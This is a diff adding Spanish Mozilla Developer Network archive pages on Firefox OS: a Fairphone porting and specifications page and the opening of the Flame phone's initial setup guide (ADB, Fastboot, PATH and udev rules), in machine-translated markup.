+ <li>Página del proyecto de <a href="http://forum.xda-developers.com/fairphone/help/porting-firefox-os-to-fp1-t2983959">la comunidad XDA para la portabilidad de Firefox OS nel dispositivo Fairphone</a><span lang="es"><span>:</span> <span class="hps">El progreso técnico</span> <span class="hps">en la</span> <span class="hps">portabilidad</span><span>.</span></span></li>
+</ul>
+
+<h4 id="Firefox_OS">Firefox OS</h4>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">usted es un desarrollador</span> <span class="hps">de portabilidad</span> <span class="hps">y quieres saber</span> <span class="hps">más acerca</span> <span class="hps">del sistema operativo</span> <span class="hps">Firefox OS: </span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps"><a href="/en-US/Firefox_OS/Platform">Plataforma</a>:</span> <span class="hps">Una visión general de</span> <span class="hps">la arquitectura y de</span> <span class="hps">la plataforma</span> <span class="hps">Firefox</span> <span class="hps">OS</span><span>,</span> <span class="hps">incluyendo</span> <span class="hps">los</span> <span class="hps">componentes de</span> </span> <a href="/en-US/Firefox_OS/Platform/Gaia">Gaia</a>, <a href="/en-US/docs/Mozilla/Gecko">Gecko</a> <span lang="es"> <span class="hps">y</span> </span><a href="/en-US/Firefox_OS/Platform/Gonk">Gonk</a><span lang="es"><span>.</span></span></li>
+ <li><span id="result_box" lang="es"><a href="/en-US/Firefox_OS/Developing_Firefox_OS/Porting">Portabilidad OS Firefox</a><span class="hps">:</span> </span><span class="short_text" id="result_box" lang="es"><span class="hps">Una guía</span> <span class="hps">básica sobre la</span> <span class="hps">portabilidad d</span></span><span lang="es"><span class="hps">el</span><span class="hps"> sistema operativo para</span> <span class="hps">los nuevos dispositivos</span><span>.</span></span></li>
+ <li><a href="https://developer.mozilla.org/en-US/Firefox_OS/Building_and_installing_Firefox_OS">Compilación e instalación de Firefox OS</a><span lang="es"><span>:</span> <span class="hps">La información sobre</span> <span class="hps">la creación de su</span> <span class="hps">propria</span> <span class="hps">compilación</span> <span class="hps">de</span> <span class="hps">Firefox OS y la instalación</span><span class="hps"> en</span> <span class="hps">un dispositivo.</span></span></li>
+ <li><span id="result_box" lang="es"><a href="https://developer.mozilla.org/en-US/Firefox_OS/Developing_Firefox_OS">El desarrollo de Firefox OS</a><span>:</span> <span class="hps">Para saber cómo</span> <span class="hps">usted puede ayudar a</span> <span class="hps">desarrollar las</span> <span class="hps">áreas</span> <span class="hps">de bajo nivel</span></span><span lang="es"> <span class="hps">de la plataforma</span><span>.</span></span></li>
+</ul>
+
+<h4 id="Comunidad_de_portabilidad_XDA">Comunidad de portabilidad XDA</h4>
+
+<p><span id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">usted es un</span> <span class="hps">desarrollador de</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">y desea saber</span> <span class="hps">más acerca de</span> <span class="hps">portar</span> <span class="hps">un sistema operativo</span><span>:</span></span></p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Para una referencia</span> <span class="hps">rápida, consulte</span> <span class="hps">este <a href="https://dietrich.makes.org/thimble/LTIxMTM3MzIwOTY=/firefox-os-ports-on-xda-developers">resumen de los diversos foros del sistema operativo Firefox OS y la portabiliad en Desarrollador de XDA</a></span></span></li>
+ <li><a class="tgwf_grey" href="http://forum.xda-developers.com/firefox-os/general">Firefox OS comunidad XDA</a></li>
+ <li><a class="tgwf_grey" href="http://forum.xda-developers.com/fairphone">Foros Fairphone comunidad XDA</a></li>
+ <li><a class="tgwf_grey" href="http://forum.xda-developers.com/wiki/Fairphone">Página wiki Fairphone XDA</a></li>
+ <li><a class="tgwf_grey" href="http://forum.xda-developers.com/showthread.php?t=2362172">Thread Fairphone XDA</a></li>
+</ul>
+
+<h2 id="Especificaciones_del_dispositivo"><span class="short_text" id="result_box" lang="es"><span class="hps">Especificaciones del dispositivo</span></span></h2>
+
+<h3 id="Fairphone_v1">Fairphone v1</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted puede encontrar</span> <span class="hps">una lista detallada de</span> <span class="hps">las especificaciones</span> <span class="hps">en la página de las <a href="https://fairphone.zendesk.com/hc/en-us/articles/201064718-What-are-the-technical-specifications-of-the-Fairphone-1-">especificaciones de Fairphone</a></span></span>.</p>
+
+<h4 id="Red">Red</h4>
+
+<ul>
+ <li><strong>2G/GSM</strong>: 850/900/1800/1900MHz</li>
+ <li><strong>3G/WCDMA</strong>: 900/2100MHz</li>
+ <li><strong>Wifi:</strong> 2.4GHz 802.11b/g/n</li>
+ <li><strong>Bluetooth:</strong> v2.1 + EDR / v3.0 + HS</li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">SAR calificación</span></span></strong>: Cabeza: 0.329 W/kg; Cuerpo: 0.693 W/kg</li>
+</ul>
+
+<h4 id="Hardware">Hardware</h4>
+
+<ul>
+ <li><strong>Mediatek MT6589M (<span class="short_text" id="result_box" lang="es"><span class="hps">primera edición</span></span>) / MT6589 @ 1.2 Ghz (<span class="short_text" id="result_box" lang="es"><span class="hps">segundo lote</span></span>) Chipset</strong>: Quad-core CPU<span id="result_box" lang="es"> <span class="hps">con reproducción de vídeo</span> <span class="hps">Full HD</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Cámara frontal</span></span></strong>: 1.3 MP <span class="short_text" id="result_box" lang="es"><span class="hps">para fotos y</span> <span class="hps">video llamadas</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Cámara posterior</span></span></strong>: 8MP AF <span id="result_box" lang="es"><span class="atn hps">(</span><span class="hps">estabilización</span> <span class="hps">+ </span><span>sensor de imagen</span></span><span lang="es"><span>)</span> <span class="hps">para fotos y</span> <span class="hps">video llamadas</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Pantalla</span></span></strong>: 4.3 <span class="short_text" id="result_box" lang="es"><span class="hps">pulgadas</span></span> qHD IPS (960x540 pixels) (256 ppi); <span class="short_text" id="result_box" lang="es"><span class="hps">Pantalla tactil capacitiva</span></span></li>
+ <li><strong>16 GB <span class="short_text" id="result_box" lang="es"><span class="hps">almacenamiento interno</span></span></strong> + 1GB of RAM</li>
+ <li><strong>MicroSD</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">Añade</span> <span class="hps">hasta 64 GB de</span> <span class="hps">memoria adicional</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Auriculares</span></span> jack</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">A partir de</span> <span class="hps">una variedad de formatos</span></span></li>
+ <li><strong>A-GPS</strong>,<span class="short_text" id="result_box" lang="es"><span class="hps"> además de un</span> <span class="hps">E</span><span class="atn">-</span><span>brújula</span> <span class="hps">y</span> <span class="hps">giroscopio</span></span></li>
+ <li><strong>Double SIM</strong>: <span id="result_box" lang="es"><span class="hps">Un</span> <span class="hps">SIM</span><span>:</span> <span class="hps">3G</span><span>;</span> <span class="hps">una tarjeta SIM</span><span>:</span> <span class="hps">2G.</span> <span class="hps">Formato estándar</span> <span class="hps">mini tarjeta</span> <span class="hps">SIM</span></span></li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Puertos de datos y carga</span></strong><span>:</span> E<span class="hps">stándar</span> <span class="hps">micro</span> <span class="hps">USB</span> <span class="hps">2.0, Tipo B</span></span><span lang="es"><span>;</span> <span class="hps">USB</span> <span class="hps">2.0</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps"><strong>Batería</strong>:</span> <span class="hps">2000mAh</span> <span class="atn hps">(</span><span>batería reemplazable</span><span>)</span></span></li>
+</ul>
+
+<h4 id="Software">Software</h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Basado en</span> <span class="hps">el sistema operativo Android</span> <span class="atn hps">(</span><span>4.2</span> <span class="hps">Jelly Bean</span></strong><span><strong>):</strong> Con una</span> <span class="hps">interfaz especial</span> <span class="hps">Fairphone</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><strong><span class="hps">Acceso</span> <span class="hps">Root</span></strong><span>:</span> <span class="hps">acceso de superusuario</span> <span class="hps">Inmediata</span></span></li>
+</ul>
+
+<h3 id="Fairphone_v2">Fairphone v2</h3>
+
+<p><span id="result_box" lang="es"><span class="hps">Usted puede encontrar</span> <span class="hps">una lista detallada de</span> <span class="hps">las especificaciones</span> <span class="hps">en la página de las</span></span> <a class="tgwf_grey" href="https://fairphone.zendesk.com/hc/en-us/articles/203478389-What-technical-specifications-does-the-Fairphone-2-have-">especificaciones de Fairphone</a>.</p>
+
+<h4 id="Red_2">Red</h4>
+
+<ul>
+ <li><strong>2G/GSM</strong>: 850/900/1800/1900MHz</li>
+ <li><strong>3G/WCDMA</strong>: 900/2100MHz</li>
+ <li><strong>4G LTE: </strong>900/1900/2100MHz Cat. 4 150 Mbps <span class="short_text" id="result_box" lang="es"><span class="hps">descargar</span></span> — Cat. 4 50 Mbps subir</li>
+ <li><strong>Wifi:</strong> 2.4GHz 802.11b/g/n/ac <span class="short_text" id="result_box" lang="es"><span class="hps">hasta</span></span> 433 Mbps</li>
+ <li><strong>Bluetooth:</strong> v4.0 LE</li>
+ <li><strong>SAR <span class="short_text" id="result_box" lang="es"><span class="hps">calificación</span></span></strong>: C<span class="short_text" id="result_box" lang="es"><span class="hps">abeza</span></span>: 0.288 W/kg; Cuerpo: 0.426 W/kg</li>
+</ul>
+
+<h4 id="Hardware_2">Hardware</h4>
+
+<ul>
+ <li><strong>Qualcomm MSM8974AB</strong> <strong>@ 2.26 Ghz Chipset</strong>: Quad-core CPU Krait 400 con Qualcomm Adreno 330 GPU y <span id="result_box" lang="es"><span class="hps">reproducción de vídeo</span> <span class="hps">Full HD</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Cámara frontal</span></span></strong>: 2 MP Omnivision OV2685 para <span class="short_text" id="result_box" lang="es"><span class="hps">fotos y</span> <span class="hps">video llamadas</span></span></li>
+ <li><strong>C<span class="short_text" id="result_box" lang="es"><span class="hps">ámara posterior</span></span></strong>: 8MP AF Omnivision OV8865 <span id="result_box" lang="es"><span class="atn hps">(</span><span class="hps">estabilización</span> <span class="hps">+ </span><span>sensor de imagen</span></span><span lang="es"><span>)</span> <span class="hps">para fotos y</span> <span class="hps">video llamadas</span></span></li>
+ <li><strong>Pantalla</strong>: 5 <span class="short_text" id="result_box" lang="es"><span class="hps">pulgadas</span></span> Full HD (Gorilla Glass 3 — 0.7mm thick) LCD TFT/IPS (446 ppi); <span class="short_text" id="result_box" lang="es"><span class="hps">Pantalla tactil capacitiva</span></span></li>
+ <li><strong>32 GB <span class="short_text" id="result_box" lang="es"><span class="hps">almacenamiento interno</span></span> eMMC5</strong> + 2GB of RAM LPDDR3</li>
+ <li><strong>MicroSD</strong>: SDHC, SDXC, UHS <span class="short_text" id="result_box" lang="es"><span class="hps">hasta 64 GB de</span> <span class="hps">memoria adicional</span></span></li>
+ <li><strong><span class="short_text" id="result_box" lang="es"><span class="hps">Auriculares</span></span> jack</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">A partir de</span> <span class="hps">una variedad de formatos; estándar</span></span><span class="short_text" lang="es"><span class="hps"> </span></span>CTIA</li>
+ <li><strong>A-GPS</strong>,<span class="short_text" id="result_box" lang="es"><span class="hps"> además de un</span> <span class="hps">E</span><span class="atn">-</span><span>brújula</span> <span class="hps">y</span> <span class="hps">giroscopio</span></span></li>
+ <li><strong>Double SIM</strong>: Double-SIM Micro-SIM (3FF), Double-Standby (DSDS)</li>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Puertos de datos y carga</span></strong><span>:</span> </span><span class="short_text" id="result_box" lang="es"><span class="hps">Estándar</span> <span class="hps">Micro</span> <span class="hps">USB</span> <span class="hps">2.0</span> <span class="hps">con soporte</span> <span class="hps">OTG</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps"><strong>Batería</strong>:</span> <span class="hps">2420mAh</span> <span class="atn hps">(</span><span>batería reemplazable</span><span>)</span></span></li>
+</ul>
+
+<h4 id="Software_2">Software</h4>
+
+<ul>
+ <li><span id="result_box" lang="es"><strong><span class="hps">Basado en</span> <span class="hps">el sistema operativo Android</span> <span class="atn hps">(</span><span>5.1</span> <span class="hps">Lollipop</span><span>)</span></strong><span>:</span> <span class="hps">Con una</span> <span class="hps">interfaz</span> <span class="hps">especial</span> <span class="hps">Fairphone</span></span></li>
+ <li><strong>Acceso Root</strong>: <span class="short_text" id="result_box" lang="es"><span class="hps">Sin</span> <span class="hps">acceso de superusuario</span></span></li>
+</ul>
+
+<h2 id="Ver_también"><span class="short_text" id="result_box" lang="es"><span class="hps">Ver también</span></span></h2>
+
+<ul>
+ <li><a class="tgwf_green" href="https://www.fairphone.com/roadmap/">Fairphone roadmap</a></li>
+ <li><span id="result_box" lang="es"><span class="hps">Guías de reparación automática</span></span><span lang="es"><span class="hps"> en </span></span> <a class="tgwf_grey" href="https://www.ifixit.com/Device/Fairphone">iFixit</a><span lang="es"><span class="hps"> y en la </span></span><span class="short_text" id="result_box" lang="es"><span class="hps">página </span></span><span lang="es"><span class="hps">de <a href="https://fairphone.zendesk.com/hc/en-us">soporte de Fairphone</a></span></span></li>
+ <li><a href="https://autonome.wordpress.com/2013/01/15/firefox-os-devices-and-dark-matter/">Firefox OS lista de portabilidad a otros dispositivos</a> —<span lang="es"> <span class="hps">podría ser</span> <span class="hps">una fuente</span> <span class="hps">de inspiración</span> <span class="hps">para encontrar o</span> <span class="hps">adaptar</span> <span class="hps">soluciones</span></span></li>
+ <li><span id="result_box" lang="es"><a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Phone_guide/Orange_Klif">La página de Orange Klif MDN</a> </span>—<span lang="es"> <span class="hps">Este es el</span> <span class="hps">primero smartphone</span> <span class="hps">Firefox</span> <span class="hps">OS</span> <span class="hps">que ejecuta el</span> <span class="hps">mismo chipset</span> <span class="hps">MediaTech</span> <span class="hps">como</span> <span class="hps">Fairphone</span> <span class="hps">v1</span></span></li>
+ <li><a class="tgwf_grey" href="https://github.com/Kwamecorp/Fairphone">Fairphone v1 OS</a> <span id="result_box" lang="es"><span class="hps">código abierto</span> <span class="hps">en la página</span> </span> <a class="tgwf_grey" href="http://www.kwamecorp.com/">kwamecorp</a><span lang="es"> de <span class="hps">Github</span></span></li>
+ <li>
+  <p><span id="result_box" lang="es"><a href="https://fairphone.zendesk.com/hc/en-us/articles/201576803-Fairphone-FP1-Source-Code-Packages">Fairphone v1 paquetes de código abierto</a> <span class="hps">en</span><span class="hps"> la página web</span> <span class="hps">Fairphone</span></span></p>
+ </li>
+</ul>
diff --git a/files/es/archive/b2g_os/phone_guide/flame/configuracion_inicial/index.html b/files/es/archive/b2g_os/phone_guide/flame/configuracion_inicial/index.html
new file mode 100644
index 0000000000..90bb74f775
--- /dev/null
+++ b/files/es/archive/b2g_os/phone_guide/flame/configuracion_inicial/index.html
@@ -0,0 +1,122 @@
+---
+title: Configuración Inicial
+slug: Archive/B2G_OS/Phone_guide/Flame/Configuracion_Inicial
+tags:
+  - B2G
+  - Firefox OS
+  - Flame
+  - developer phone
+  - dispositivo de referencia(2)
+  - reference device
+  - teléfono desarrollador
+translation_of: Archive/B2G_OS/Phone_guide/Flame/Initial_setup
+---
+<div class="summary">
+<p><span id="result_box" lang="es"><span class="hps">Después de conseguir</span> <span class="hps">un Flame</span><span>, hay un par</span> <span class="hps">de pasos que usted</span> <span class="hps">debe asegurarse de que</span> <span class="hps">usted sigue</span> <span class="hps">para su sistema</span> <span class="hps">operativo particular</span></span>, <span id="result_box" lang="es"><span class="hps">antes de empezar a</span> <span class="hps">tratar de</span> <span class="hps">actualizar su dispositivo</span></span> Flame, <span id="result_box" lang="es"><span class="hps">por ejemplo</span></span> para actualizar la versión de Firefox OS de su Flame, <span class="short_text" id="result_box" lang="es"><span class="hps">o instalar</span> <span class="hps">aplicaciones</span> <span class="hps">a su teléfono</span></span>. <span class="short_text" id="result_box" lang="es"><span class="hps">Ambos</span> <span class="hps">están cubiertos</span> <span class="hps">en los artículos siguientes</span></span>, <span id="result_box" lang="es"><span class="hps">pero se debe</span> <span class="hps">trabajar a través de</span> <span class="hps">este artículo</span> <span class="hps">primero</span><span>.</span></span></p>
+</div>
+
+<h2 id="Todos_los_sistemas_operativos">Todos los sistemas operativos</h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Necesita instalar</span> <span class="hps">ADB</span> <span class="hps">y</span> <span class="hps">Fastboot</span> <span class="hps">en su ordenador</span></span> — <span id="result_box" lang="es"><span class="hps">estos son</span> <span class="hps">aplicaciones que</span> <span class="hps">le permiten</span> <span class="hps">interactuar con su</span> <span class="hps">teléfono desde la computadora</span> <span class="hps">cuando</span> <span class="hps">los dos están conectados</span> <span class="hps">a través de cable</span> <span class="hps">de carga USB</span> <span class="hps">del teléfono</span></span>. <span id="result_box" lang="es"><span class="hps">Son necesarios para</span> <span class="hps">que pueda flashear</span> <span class="hps">el teléfono a una</span> <span class="hps">nueva</span> <span class="hps">versión de Firefox</span> <span class="hps">OS</span></span>, <span id="result_box" lang="es"><span class="hps">recuperarse de</span> <span class="hps">un estado no interactivo</span><span>, instalando</span> <span class="hps">aplicaciones</span> <span class="hps">a su teléfono</span><span>,</span> <span class="hps">etc.</span></span></p>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si estás en</span> <span class="hps">Ubuntu</span> <span class="hps">puede</span> <span class="hps">instalar</span> <span class="hps">ADB</span> <span class="hps">y</span> <span class="hps">Fastboot</span> <span class="hps">simplemente usando</span></span> <code>sudo apt-get install android-tools-adb android-tools-fastboot</code> <span class="short_text" id="result_box" lang="es"><span class="hps">en la línea</span> <span class="hps">de comandos</span></span>.</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Si usted está en</span> <span class="hps">Mac</span> <span class="hps">OS</span> <span class="hps">puede instalar</span> <span class="hps">ADB</span> <span class="hps">y</span> <span class="hps">Fastboot</span> <span class="hps">simplemente usando</span> <span class="hps">Homebrew</span> <span class="hps">en la línea</span> <span class="hps">de comandos</span></span>. Mire <a href="//developer.mozilla.org/en-US/Firefox_OS/Debugging/Installing_ADB">Instalando y usando ADB</a>.</p>
+</div>
+
+<p>ADB y Fastboot se encuentra disponible en <a class="external external-icon" href="http://developer.android.com/sdk/index.html" title="Android Developer Tookit">Android Developer Toolkit</a>:</p>
+
+<ol>
+ <li>Vaya al link anterior.</li>
+ <li>Presione el botón <em>Download Eclipse ADT</em>.</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Acepte</span><span class="hps"> las</span> <span class="hps">condiciones de la licencia</span></span>.</li>
+ <li><span id="result_box" lang="es"><span class="hps">Elija</span> <span class="hps">entre la versión</span> <span class="hps">de 32 bits y</span> <span class="hps">64</span> <span class="atn hps">bits</span></span> (elija 32-bit si no estás seguro).</li>
+ <li>Clic en el botón final <em>Download Eclipse ADT with the Android SDK...</em>.</li>
+ <li><span id="result_box" lang="es"><span class="hps">Una vez</span> <span class="hps">finalizada la descarga</span><span>,</span> <span class="hps">descomprima</span> <span class="hps">el contenido del archivo</span> <span class="hps">zip</span> <span class="hps">en el escritorio</span> <span class="hps">de su ordenador.</span></span></li>
+ <li><span id="result_box" lang="es"><span class="hps">El</span> <span class="hps">nombre de la carpeta</span> <span class="hps">es</span> <span class="hps">un poco complicado</span><span>;</span> <span class="hps">cambiarle el nombre a</span> <span class="hps">simplemente</span></span> <em>adt.</em></li>
+</ol>
+
+<p><span id="result_box" lang="es"><span class="hps">ADB</span> <span class="hps">es una herramienta</span> <span class="hps">que se ejecuta desde</span> <span class="hps">la línea de comandos</span><span>.</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">Si</span> <span class="hps">usted abre su</span> <span class="hps">terminal / simbolo de sistema</span></span>, vaya a <code>adt/sdk/platform-tools</code> y ejecute el comando <code>adb</code>, <span id="result_box" lang="es"><span class="hps">debería ver</span> <span class="hps">una carga de</span> <span class="hps">la información</span> <span class="hps">arrojada</span> <span class="hps">de vuelta a usted</span> <span class="hps">acerca de lo</span> <span class="hps">que puede hacer con</span> <span class="hps">ADB</span></span>. Ejecutando <code>adb devices</code> <span class="short_text" id="result_box" lang="es"><span class="hps">debe devolver</span> <span class="hps">la línea</span></span> <code>List of devices attached</code>, <span id="result_box" lang="es"><span class="hps">y nada más,</span> <span class="hps">porque</span> <span class="hps">no tienes</span> <span class="hps">ningún dispositivo</span> <span class="hps">aún</span> <span class="hps">conectado</span><span>.</span></span></p>
+
+<p><span id="result_box" lang="es"><span class="hps">En este punto,</span> <span class="hps">es necesario establecer</span> <span class="hps">la variable PATH</span> <span class="hps">para que apunte a</span> <span class="hps">la herramienta</span> <span class="hps">ADB</span><span>,</span> </span><span class="short_text" id="result_box" lang="es"><span class="hps">para que pueda</span> <span class="hps">ejecutarlo desde</span> <span class="hps">cualquier lugar</span></span><span lang="es"><span>, no sólo</span> <span class="hps">cuando se está en</span> <span class="hps">el directorio</span> <span class="hps">exacto en que</span> está <span class="hps">el ADB</span><span>.</span></span></p>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Para hacer esto</span> <span class="hps">en Windows</span> <span class="hps">8</span></span> (<span id="result_box" lang="es"><span class="hps">Windows 7</span> <span class="hps">será muy similar</span><span>, pero</span> <span class="hps">con pocas diferencias de</span> <span class="hps">opciones de menú</span></span>):</p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">Haga clic derecho sobre</span> <span class="hps">el botón</span> <span class="hps">de Windows en la</span> <span class="hps">parte inferior</span> <span class="hps">izquierda y seleccione</span></span> <em>Panel de Control </em> &gt; <em>Sistema y Seguridad</em> &gt; <em>Sistema</em> &gt; <em>Configuración avanzada del sistema</em> &gt; <em>Variables de Entorno</em>.</li>
+ <li>En la lista <em>Variables de sistema</em>, encuentra la llamada <em>Path</em>, seleccionela, entonces clic en <em>Editar...</em></li>
+ <li>En el campo de texto <em>Valor de la variable value</em> <span class="short_text" id="result_box" lang="es"><span class="hps">del</span> <span class="hps">cuadro de diálogo resultante</span></span>, <span id="result_box" lang="es"><span class="hps">asegúrese de que se encuentra</span> <span class="hps">al final de</span> <span class="hps">la gran</span> <span class="hps">cadena de caracteres</span> <span class="hps">en el cuadro</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">a continuación, escriba</span> <span class="hps">un punto y coma</span></span> (;) <span id="result_box" lang="es"><span class="hps">seguido de la ubicación</span> <span class="hps">de la herramienta</span> <span class="hps">adb</span> <span class="hps">en su sistema</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">que debe ser</span></span> <em>C:\Users\[TU NOMBRE DE USUARIO]\Desktop\adt\sdk\platform-tools</em>.<br>
+  <br>
+  <span id="result_box" lang="es"><span class="hps">Así que si</span> <span class="hps">su nombre de usuario</span> <span class="hps">es</span> <span class="hps">jamessmith</span><span>, introduciría</span></span> ;<em>C:\Users\jamessmith\Desktop\adt\sdk\platform-tools</em>.</li>
+ <li>Presione <em>OK</em> <span id="result_box" lang="es"><span class="hps">en todos</span> <span class="hps">los cuadros de diálogo</span> <span class="hps">que se abrió</span> <span class="hps">en</span> <span class="hps">esta sección.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Cierre el</span> <span class="hps">símbolo del sistema</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">abra</span> <span class="hps">uno nuevo,</span> <span class="hps">y pruebe</span> <span class="hps">escribiendo</span></span> <code>adb devices</code>. <span class="short_text" id="result_box" lang="es"><span class="hps">Si sale</span></span> <code>List of devices attached</code>, todo ha salido bien.! <span class="short_text" id="result_box" lang="es"><span class="hps">También tendrá</span> <span class="hps">que seguir las</span> <span class="hps">instrucciones de la sección</span></span> <a href="#Pasos_extra_para_Windows">Pasos extra para Windows</a> de abajo.</li>
+</ul>
+
+<div class="note">
+<p><strong>Nota</strong>: <span id="result_box" lang="es"><span class="hps">Para abrir</span> <span class="hps">el símbolo del sistema</span><span>, haga clic en</span> <span class="hps">el botón derecho en</span> <span class="hps">el botón</span> <span class="hps">de Windows en la</span> <span class="hps">parte inferior</span> <span class="hps">izquierda y seleccione</span> <span class="hps">la línea de comandos</span><span>.</span></span></p>
+</div>
+
+<p>En Mac/Linux:</p>
+
+<ul>
+ <li><span id="result_box" lang="es"><span class="hps">En el explorador</span><span>, vaya a</span> <span class="hps">la carpeta de inicio</span></span> (<span class="short_text" id="result_box" lang="es"><span class="hps">la que tiene el</span> <span class="hps">icono de la casa</span></span>).</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Si no puede</span> <span class="hps">ver</span> <span class="hps">archivos ocultos</span></span> (<span id="result_box" lang="es"><span class="hps">por ejemplo</span><span>, </span><span class="hps">archivos</span> <span class="hps">con puntos</span> <span class="atn hps">(</span><span>.</span><span>)</span> <span class="hps">en el inicio</span></span>), vaya<span class="short_text" id="result_box" lang="es"><span class="hps"> a</span> <span class="hps">la terminal</span> <span class="hps">y escriba el comando</span></span> <code>defaults write com.apple.finder AppleShowAllFiles YES</code>, entonces reinicie el explorador.</li>
+ <li>Abra su archivo <code>.bash_profile</code> o <code>.bashrc</code> en un editor de texto plano como Text Wrangler or Sublime Text (<span class="short_text" id="result_box" lang="es"><span class="hps">tiene que ser</span> <span class="hps">un editor de</span> <span class="hps">texto sin formato</span></span>).</li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Dentro del archivo</span><span>,</span> <span class="hps">añada una nueva línea</span></span> <code>PATH=/Users/<em>[Tu nombre de usuario]</em>/Desktop/adt/sdk/platform-tools:$PATH</code></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Guarde y cierre el archivo.</span></span></li>
+ <li><span class="short_text" id="result_box" lang="es"><span class="hps">Reinicie</span> <span class="hps">su terminal</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">y pruebe</span> <span class="hps">escribiendo</span></span> <code>adb devices</code>. <span class="short_text" id="result_box" lang="es"><span class="hps">Si sale</span></span> <code>List of devices attached</code>, todo ha salido bien.</li>
+</ul>
+
+<h2 id="Habilitando_depuración_remota">Habilitando depuración remota</h2>
+
+<p><span id="result_box" lang="es"><span class="hps">Asegúrese de</span> <span class="hps">depuración remota</span> <span class="hps">segura</span> <span class="hps">está activado en</span> <span class="hps">tu</span></span> Flame, usando la opción <em>Depuración Remota/Depuración via USB</em> en <a href="/en-US/Firefox_OS/Debugging/Developer_settings">Ajustes de desarrollador</a> en el dispositivo (<span id="result_box" lang="es"><span class="hps">opción</span> <span class="hps">es diferente,</span> <span class="hps">dependiendo de si</span> <span class="hps">usted tiene</span> <span class="hps">Firefox</span> <span class="hps">1.3</span> <span class="hps">e inferior</span><span>,</span> <span class="hps">o Firefox</span> <span class="hps">1.4+</span> <span class="hps">instalado</span></span>).</p>
+
+<h2 id="Pasos_extra_para_Linux">Pasos extra para Linux</h2>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Dependiendo de su</span> <span class="hps">distro</span> <span class="hps">Linux</span></span>, <span class="short_text" id="result_box" lang="es"><span class="hps">es probable que</span> <span class="hps">tenga que</span></span> <a href="/en-US/Firefox_OS/Firefox_OS_build_prerequisites#For_Linux.3A_configure_the_udev_rule_for_your_phone">agregar una regla udev</a> para su teléfono.</p>
+
+<p><span id="result_box" lang="es"><span class="hps">Para descubrir</span> <span class="hps">el ID de</span> <span class="hps">proveedor de su</span> <span class="hps">dispositivo</span></span>, <span id="result_box" lang="es"><span class="hps">conectar</span> <span class="hps">su teléfono</span> <span class="hps">a través de USB</span> <span class="hps">y utilice el comando</span></span> <code>lsusb</code> <span id="result_box" lang="es"><span class="hps">para ver</span> <span class="hps">los</span> <span class="hps">dispositivos detectados</span> <span class="hps">en el subsistema</span> <span class="hps">USB.</span></span> <span class="short_text" id="result_box" lang="es"><span class="hps">Encuentre su</span> <span class="hps">teléfono en la lista</span></span>, <span id="result_box" lang="es"><span class="hps">y tome nota de</span> <span class="hps">las cuatro</span> <span class="hps">primeras</span> <span class="hps">cifras</span> <span class="hps">inmediatamente seguido de</span></span> "ID". <span class="short_text" id="result_box" lang="es"><span class="hps">Un ID</span> <span class="hps">común para</span> <span class="hps">Flame</span> <span class="hps">es</span></span> <code>05c6</code>, <span class="short_text" id="result_box" lang="es"><span class="hps">por lo que una</span> <span class="hps">regla</span> <span class="hps">udev</span> <span class="hps">en este caso</span> <span class="hps">sería:</span></span></p>
+
+<pre>SUBSYSTEM=="usb", ATTRS{idVendor}=="05c6", MODE="0666"
+</pre>
+
+<p><span id="result_box" lang="es"><span class="hps">Si el dispositivo</span> <span class="hps">muestra un número</span> <span class="hps">diferente, utilice</span> <span class="hps">en su lugar.</span> <span class="hps">Por ejemplo:</span></span></p>
+
+<pre>SUBSYSTEM=="usb", ATTRS{idVendor}=="18d1", MODE="0666"
+</pre>
+
+<p><span class="short_text" id="result_box" lang="es"><span class="hps">Asegúrese de</span> <span class="hps">ejecutar el comando</span></span> <code>udevadm control --reload-rules</code> (<span id="result_box" lang="es"><span class="hps">podría</span> <span class="hps">ser automática</span> <span class="hps">dependiendo de su configuración</span></span>), <span id="result_box" lang="es"><span class="hps">a continuación, desconecte</span> <span class="hps">y</span> <span class="hps">vuelva a conectar</span> <span class="hps">el dispositivo</span> <span class="hps">antes de continuar.</span></span></p>
+
+<h2 id="Pasos_extra_para_Windows">Pasos extra para Windows</h2>
+
